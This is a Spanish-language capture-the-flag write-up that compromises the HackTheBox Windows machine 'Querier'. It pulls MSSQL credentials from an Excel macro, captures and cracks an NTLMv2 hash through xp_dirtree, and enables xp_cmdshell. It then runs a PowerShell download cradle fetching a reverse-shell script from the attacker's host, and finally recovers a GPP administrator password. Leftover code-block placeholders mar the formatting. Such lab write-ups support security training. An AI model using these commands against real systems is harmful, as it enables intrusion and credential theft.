En el día de hoy estaremos resolviendo la máquina Querier de HackTheBox. Es una Máquina Windows.
Enumeración Inicial.
Lo primero que haremos será escanear los puertos de la máquina es busca de servicios expuestos.
# Nmap 7.92 scan initiated Thu Feb 23 09:48:52 2023 as: nmap -sC -sV -Pn -oN Extraction -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-02-23T08:47:57
|_Not valid after: 2053-02-23T08:47:57
|_ssl-date: 2023-02-23T08:49:57+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-23T08:49:53
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 23 09:49:57 2023 -- 1 IP address (1 host up) scanned in 65.13 seconds
Vemos que tiene varios puertos abiertos, entre ellos podemos encontrar el SMB, el MSSQL y el RPC.
El nombre del dominio lo he extraido con CrackMapExec y lo he metido en el /etc/hosts:
crackmapexec smb 10.10.10.125
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
El servicio de RPC no acepta sesiones nulas.
rpcclient 10.10.10.125 -U '' -N
rpcclient $> enumdomusers
Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $>
Si enumeramos las carpetas compartidas por SMB podemos ver que hay varias:
smbclient -L '\\10.10.10.125\' -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
SMB1 disabled -- no workgroup available
Nuestro usuario tienen unicamente acceso a Reports. Dentro de reports hay un archivo de Excel que podemos descargarnos.
smbclient '\\10.10.10.125\Reports' -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Jan 29 00:23:48 2019
.. D 0 Tue Jan 29 00:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 23:21:34 2019
5158399 blocks of size 4096. 827049 blocks available
smb: \> get Currency Volume Report.xlsm
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Currency
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23,7 KiloBytes/sec) (average 23,7 KiloBytes/sec)
smb: \>
Si abrimos el archivo nos salta el siguiente mensaje.
Al tener macros lo cerre por si las moscas y me dispuse a analizarlo con olevba.
Olevba es una herramienta que incorpora python-oletools, en este caso olveba nos va a permitir extraer las macros del archivo .xlsm y ver su contenido
python3 olevba.py --decode /root/HTB/Querier/content/Currency\ Volume\ Report.xlsm
olevba 0.60.2dev1 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: /root/HTB/Querier/content/Currency Volume Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
Podemos resaltar un usuario y una contraseña:
- reporting:PcwTWTHRwryjc$c6
Explotación MSSQL.
Si nos intentamos conectar a esa base de datos a traves de mssclient.py vemos que tenemos acceso.
mssqlclient.py -p 1433 -db volume 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -dc-ip 10.10.10.125 -windows-auth
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
No tenemos permisos para activar las opciones avanzadas para activar la funcion xp_cmdshell y ejecutar comandos a nivel del sistema. La base de datos no tiene nada interesante. LLegados a este punto comprobé si las credenciales eran validas a nivel de SMB. No lo eran, asi que probe a ver si puedo extraer el hash NTLMv2 a traves de la función xp_dirtree
SQL xp_dirtree '\\10.10.16.4\compartido\'
Si miramos nuestro servidor de SMB podemos ver que se ha autenticado y vemos el hash NTLMv2
smbserver.py ./ "compartido" -smb2support [14/14]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49675)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:4141414141414141:1ba7275a7eeffad66f177c7cb4c08be7:010100000000000000ecede06847d901eef23db4414ea4bf000000000100100048007300420047004f006e0051005200030010004800730042
0047004f006e005100520002001000660048004b007800500051005400620004001000660048004b00780050005100540062000700080000ecede06847d90106000400020000000800300030000000000000000000000000300000dddda
93f03c3ca3d8d094646dcbe3b41f914eae0e75cd2f7a92d2c257489c20a0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003400000000000000000000000000
El hash pertenece al usuario "mssql-svc". Voy a probar romperlo con la herramienta john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:03 DONE (2023-02-23 10:40) 0.3194g/s 2863Kp/s 2863Kc/s 2863KC/s correg..coreyo05
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
Ya tenemos la contraseña para el usuario mssql-svc
- mssql-svc:corporate568
La contraseña no es valida a nivel de SMB pero si nos sirve para conectarnos a MSSQL.
mssqlclient.py -p 1433 'mssql-svc:corporate568@10.10.10.125' -dc-ip 10.10.10.125 -windows-auth
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Este usuario si pude activar la función xp_cmdshell.
SQL: sp_configure 'show advanced options', '1'
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL: RECONFIGURE
``SQL:
SQL: sp_configure 'xp_cmdshell', '1'
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL: RECONFIGURE
%%CODEBLOCK_12%%SQL
SQL: EXEC xp_cmdshell 'whoami'
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
querier\mssql-svc
%%CODEBLOCK_13%%bash
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.4/Invoke-PowerShellTcp.ps1") | powershell -noprofile'
%%CODEBLOCK_14%%bash
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.125 - - [23/Feb/2023 10:54:40] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
%%CODEBLOCK_15%%bash
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.125] 49679
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
%%CODEBLOCK_16%%Powershell
PS C:\Users\mssql-svc\Desktop: iwr -outf PowerUp.ps1 http://10.10.16.4/PowerUp.ps1
%%CODEBLOCK_17%%powershell
PS C:\Users\mssql-svc\Desktop: Import-Module .\PowerUp.ps1
%%CODEBLOCK_18%%PowerShell
PS C:\Users\mssql-svc\Desktop: Invoke-AllChecks
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files
%%CODEBLOCK_19%%xml
?xml version="1.0" encoding="UTF-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties>
</User>
</Groups>
%%CODEBLOCK_20%%bash
crackmapexec winrm 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'
WINRM 10.10.10.125 5985 QUERIER [*] Windows 10.0 Build 17763 (name:QUERIER) (domain:HTB.LOCAL)
WINRM 10.10.10.125 5985 QUERIER [*] http://10.10.10.125:5985/wsman
WINRM 10.10.10.125 5985 QUERIER [+] HTB.LOCAL\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)
``
¡Ya hemos pwneado la máquina!